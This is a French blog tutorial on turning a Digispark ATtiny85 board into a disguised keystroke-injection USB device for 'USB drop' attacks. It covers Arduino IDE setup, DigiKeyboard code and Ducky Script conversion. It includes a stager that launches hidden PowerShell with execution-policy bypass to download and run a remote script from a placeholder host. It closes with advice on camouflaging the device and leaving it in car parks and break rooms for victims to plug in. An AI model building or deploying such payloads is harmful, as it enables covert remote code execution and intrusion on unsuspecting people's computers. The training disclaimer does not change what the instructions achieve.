USB Drop Attack – Création d’une clé Rubber Ducky

Les attaques informatiques peuvent être de plusieurs types: à distance, via des failles existantes, via du social engineering et même via de simples clés USB.

Nous allons voir à travers cet article comment une simple carte Arduino peut servir de vecteur d’intrusion.

DISCLAIMER

Cet article a été rédigé à des fins d’informations et de formations. Il n’a pas pour vocation a être utilisé « sur le terrain ». Pour rappel l’article L.323-1 du code pénal prévoit que  » le fait d’accéder ou de se maintenir, frauduleusement, dans tout ou partie d’un système de traitement automatisé de données est puni d’un an d’emprisonnement et de 15 000 euros d’amende « . 

Le matériel

Nous avons plusieurs types de cartes à notre disposition. La plus connue reste la carte officielle de chez Hak5, la RubberDucky. Cette carte au format clé USB  permet l’émulation d’un clavier envoyant des touches de façon préprogrammée. Vous pourrez ainsi créer vos propres « Ducky Script » dont le langage est décrit ici.

Problème avec cette clé: son prix ! 

Second type de matériel avec lequel vous pouvez faire du « Ducky Script »: un Raspberry Zéro. Le projet s’appelle « p4wnp1 » et est documenté ici

Problème avec le Raspberry Zéro: son format n’est pas vraiment discret.

Enfin la carte qui nous intéresse est la Digispark Attiny85. Son Form Factor et son prix (4.50€ l’unité, 9.99€ les 3) en fait la candidate idéale à nos expérimentations. Son aspect électronique brut peut vite être transformé grâce à l’impression d’un boitier et ainsi la faire ressembler a une véritable clé USB (ne faites pas comme moi, le jaune est trop voyant).

Cette clé est en fait un Arduino entièrement programmable via l’IDE officiel et possédant une puce ATTiny85.

Installation et configuration de l’IDE Arduino

Afin de pouvoir programmer notre Arduino nous devons installer l’IDE officiel Arduino.

Installation sous linux

Nous téléchargerons l’archive .tar.gz de la dernière version de l’IDE. Vous retrouverez ce fichier sur le site officiel https://www.arduino.cc/en/software.

Nous décompresserons l’archive et nous installerons via le script fournis:

tar -xJf arduino-1.8.15-linux64.tar.xz
mv arduino-1.8.15 /usr/share
cd /usr/share/arduino-1.8.15
./install.sh


Configuration UDEV

Afin de s’assurer de la bonne communication de notre OS avec l’Arduino nous devrons configurer l’UDEV.

Pour cela nous éditerons le fichier /etc/udev/rules.d/49-micronucleus.rules :

sudo nano /etc/udev/rules.d/49-micronucleus.rules

# UDEV Rules for Micronucleus boards including the Digispark.
# This file must be placed at:
#
# /etc/udev/rules.d/49-micronucleus.rules    (preferred location)
#   or
# /lib/udev/rules.d/49-micronucleus.rules    (req'd on some broken systems)
#
# After this file is copied, physically unplug and reconnect the board.
#    
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
#
# If you share your linux system with other users, or just don't like the
# idea of write permission for everybody, you can replace MODE:="0666" with
# OWNER:="yourusername" to create the device owned by you, or with
# GROUP:="somegroupname" and mange access using standard unix groups.

Puis nous rechargerons les règles (il sera nécessaire d’être root):

sudo udevadm control --reload-rules

Installation de l’IDE sous Windows

Pour les systèmes Windows nous téléchargerons l’installeur sur le site officiel https://www.arduino.cc/en/software.

Nous exécuterons le fichier d’installation. Comme à l’habitude l’installation se fera en mode « Suivant Suivant Suivant »:

Ajout et installation des packages Digistump

Que ce soit sous Linux ou Windows il nous faudra installer les packages Digistump sur notre IDE.

Pour cela nous irons dans « Ficher => Préférences => URL de gestionnaire de carte » pour ajouter l’adresse suivante:

http://digistump.com/package_digistump_index.json

Puis nous installerons les nouvelles cartes via le « gestionnaire de carte » dans « Outils => Type de carte: « Arduino UNO » => Gestionnaire de carte »

Nous rechercherons et installerons « Digistump AVR Boards ».

Enfin nous activerons la carte dans « Outils => Type de carte: « Arduino UNO » => Digistump AVR Boards => Digispark (Default 16.5 Mhz) ».

Conception de l’attaque et création des scripts

Ici nous utiliserons notre Arduino comme émulateur de clavier. Pour faire simple, dès que notre Digispark sera branché il enverra la suite de touches que nous aurons programmée. 

Pour automatiser cette frappe de touches, deux possibilités s’offrent à nous. L’une consiste à coder cette suite directement dans l’IDE Arduino, l’autre (plus simple) nous permet d’utiliser le langage Ducky Script et de le convertir au bon format pour l’injecter dans la clé Digispark.

Codage direct

Nous commencerons par regarder l’exemple fourni dans l’IDE via le menu « Fichier => Exemples => DigisparkKeyboard ». Dans ce code basic nous pouvons voir une boucle envoyant toutes les 5 secondes la frappe de touche « Hello Digispark! ».

#include « DigiKeyboard.h »

void setup() {
// don’t need to set anything up to use DigiKeyboard
}

void loop() {
// this is generally not necessary but with some older systems it seems to
// prevent missing the first character after a delay:
DigiKeyboard.sendKeyStroke(0);

// Type out this string letter by letter on the computer (assumes US-style
// keyboard)
DigiKeyboard.println(« Hello Digispark! »);

// It’s better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(5000);
}

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}


void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  
  // Type out this string letter by letter on the computer (assumes US-style
  // keyboard)
  DigiKeyboard.println("Hello Digispark!");
  
  // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  // if doing keyboard stuff because it keeps talking to the computer to make
  // sure the computer knows the keyboard is alive and connected
  DigiKeyboard.delay(5000);
}

 

Pour complexifier notre script nous pourrons utiliser les fonctions suivantes:

  • Envoyer une frappe de touche:
DigiKeyboard.sendKeyStroke();
  • Afficher une chaine de caractères:
DigiKeyboard.print ("Votre chaine de caractères");
  • Appliquer un temps entre deux envois de touches:
DigiKeyboard.delay();
  • Presser deux touches à la fois:
DigiKeyboard.sendKeyStroke(KEY_C , MOD_CONTROL_LEFT); //Copie (CTRL+C)
DigiKeyboard.sendKeyStroke(KEY_L , MOD_GUI_LEFT); //Verrouillage de Windows (Touche Windows+L)
  • Presser trois touches à la fois:
DigiKeyboard.sendKeyStroke(KEY_ENTER , MOD_CONTROL_LEFT | MOD_SHIFT LEFT); 
  • Presser la touche Windows uniquement:
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT );
  • Vous pourrez retrouver un référentiel des touches dans le tableau suivant:
Code de touche Arduino Touche sur le clavier
MOD_CONTROL_LEFT Touche CTRL gauche
MOD_SHIFT_LEFT Touche Majuscule (SHIFT) gauche
MOD_ALT_LEFT Touche ALT gauche
MOD_GUI_LEFT Touche Windows gauche
MOD_CONTROL_RIGHT Touche CTRL droite
MOD_SHIFT_RIGHT Touche Majuscule (SHIFT) droite
MOD_ALT_RIGHT Touche ALT droite
MOD_GUI_RIGHT Touche Windows droite
KEY_ENTER Touche Entrée
KEY_SPACE Barre d’espaces
KEY_LEFT_ARROW Touche fleche gauche
KEY_RIGHT_ARROW Touche fleche droite
KEY_UP_ARROW Touche fleche haut
KEY_DOWN_ARROW Touche fleche bas
KEY_BACKSPACE Touche retour 
KEY_TAB Touche TAB
KEY_INSERT Touche Inserer
KEY_DELETE Touche Suppr
KEY_PAGE_UP Touche page haut
KEY_PAGE_DOWN Touche page bas
KEY_ESC Touche echape
KEY_HOME Touche début
KEY_END Touche fin
KEY_CAPS_LOCK Touche verrouillage majuscule
KEY_A Touche de la lettre A
KEY_B Touche de la lettre B
  Touches du pavé numérique 0 à 9
KEY_1  
KEY_2  
  Touches de fonction de F1 à F12
KEY_F1  
KEY_F2  

Langage Ducky script et conversion

Le langage Ducky Script est plus pratique à utiliser. Vous en retrouverez la documentation sur cette page https://docs.hak5.org/hc/en-us/articles/360010555153-Ducky-Script-the-USB-Rubber-Ducky-language.

Par exemple nous pourrons ouvrir un terminal de commandes, afficher « H4cked ! », et verrouiller la session:

GUI r
DELAY 300
STRING cmd
DELAY 200
ENTER
DELAY 1000
STRING H4cked !
DELAY 100
GUI l

Cependant il nous faudra convertir le script en binaire et convertir le binaire en fichier exploitable par le Digispark.
Nous pourrons réaliser cela sous linux avec les deux applications suivantes:

Nous créerons un dossier de travail nommé « digispark » puis nous récupérerons ces deux applications:

mkdir digispark
cd digispark
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
git clone https://github.com/mame82/duck2spark.git

Nous créerons un script au format Rubber Ducky:

nano script.txt

GUI r 
DELAY 300 
STRING cmd 
DELAY 200 
ENTER 
DELAY 1000 
STRING H4cked ! 
DELAY 100 GUI l

Nous encoderons le script en binaire:

java -jar USB-Rubber-Ducky/duckencoder.jar -i script_ducky.txt -o script_ducky.bin -l fr
<code class=" language-bash">Hak5 Duck Encoder 2.6.3

Loading File .....              [ OK ]
Loading Keyboard File .....     [ OK ]
Loading Language File .....     [ OK ]
Loading DuckyScript .....       [ OK ]
DuckyScript Complete.....       [ OK ]

# -i input du script ducky
# -o output du script ducky encodé en binaire
# -l langue du clavier (francais dans l'exemple)

Nous compilerons le binaire au format digispark:

python duck2spark/duck2spark.py -i script_ducky.bin -l 1 -f 2000 -o Payload.bin

# -i fichier en entrée
# -o fichier en sortie
# -l compteur de boucle (si besoin de faire une boucle) # -f delai en ms avant de lancer le payload (par défaut 1000 ms)

Une fois compilé nous copierons et nous collerons le contenu du fichier Payload.bin dans l’IDE Arduino.

Téléverser le code dans le Digispark

Pour envoyer le code dans le Digispark nous irons dans Croquis => Téléverser

 

Complexifier son attaque

Le script utilisé ci dessus est relativement simple et sans conséquence. Cependant nous pourrons utiliser la clé Digispark comme un « stager ». Autrement dit la clé servira à lancer des commandes qui permettront de récupérer un script powershell et qui l’exécutera sur la machine.

Nous pourrons donc utiliser le script RubberDucky suivant:

GUI r
DELAY 300
STRING powershell.exe -exec bypass -w hidden -nop -c "iex(New-Object System.Net.WebClient).DownloadString('https://votrehebergement.fr/votrescript.ps1')"
DELAY 200
ENTER
DELAY 1000
GUI l

Dans notre exemple nous téléchargerons le script votrescript.ps1 à partir du domaine web https://votrehebergement.fr/

Ressources et exemples de script

Pour les plus feignants d’entre nous, nous pourrons retrouver de nombreux exemples de scripts aux adresses suivantes:

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

https://ducktoolkit.com/

Laisser les autres s’attaquer eux-mêmes

Une fois notre clé préparée le scénario d’attaque est simple. On camoufle le Digispark pour le faire ressembler au maximum à une clé USB. Pour cela nous pourrons envisager de souder chaque patte USB du Digispark à un embout USB type A ou imprimer en 3D un boitier de ce type https://www.thingiverse.com/thing:2347216.

Enfin il ne vous restera plus qu’à déposer votre clé aux endroits stratégiques: parking, photocopieuse, salle de pause etc…

 

%d blogueurs aiment cette page :